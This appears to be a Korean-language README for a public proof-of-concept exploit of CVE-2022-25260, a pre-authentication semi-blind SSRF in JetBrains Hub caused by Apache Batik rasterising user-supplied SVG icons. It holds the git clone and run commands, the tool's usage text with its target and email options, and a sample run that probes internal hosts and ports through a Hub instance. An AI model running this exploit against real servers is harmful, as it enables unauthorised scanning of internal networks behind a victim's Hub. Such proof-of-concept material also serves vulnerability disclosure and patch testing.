
CVE-2022-25260용 PoC: JetBrains Hub의 사전 인증 세미 블라인드 SSRF
JetBrains Hub 인증 전 세미 블라인드 SSRF(서버 사이드 요청 위조)
설치 및 실행:
$ git clone https://github.com/yuriisanin/CVE-2022-25260
$ cd CVE-2022-25260/
$ python3 exploit.py -h
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
usage: exploit.py [-h] -hub_url HUB_URL -email EMAIL [-internal_urls_file INTERNAL_URLS_FILE] [-internal_url INTERNAL_URL]
optional arguments:
-h, --help show this help message and exit
-hub_url HUB_URL Target Hub instance
-email EMAIL Email address of any user in the system
-internal_urls_file INTERNAL_URLS_FILE
Path to internal service URLs file
-internal_url INTERNAL_URL
Internal service URL
사용법:
$ python3 exploit.py hub_url http://localhost:8080 -email [email protected] -internal_urls_file ./assets/payloads/urls.txt
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
[INFO] - staring scanning for 14 urls.
[INFO] - trying to create Hub service.
[INFO] - Hub service create, serviceId: '02cc6043-1469-4a8e-9a74-b003e721620c'.
[INFO] - trying to request: 'http://127.0.0.1:8080'.
[INFO] - OK. Host 'http://127.0.0.1:8080' is running HTTP service (XML-like response) [FOUND]. Message: 'Attribute name "ng-strict-di" associated with an element type "html" must be followed by the ' = ' character.'.
[INFO] - trying to request: 'http://127.0.0.1:8081'.
[INFO] - OK. Host 'http://127.0.0.1:8081' is DOWN.
[INFO] - trying to request: 'http://google.com'.
[INFO] - OK. Host 'http://google.com' is running HTTP service (presumably XML-like response) [FOUND]. Message: 'The markup in the document preceding the root element must be well-formed.'.
데모:

이 취약점은 사용자가 제공한 SVG 아이콘 래스터화에 기본 설정의 Apache Batik을 사용했기 때문에 발생했습니다. 서버 측 SVG 래스터화 악용에 대한 자세한 내용은 여기에서 확인할 수 있습니다.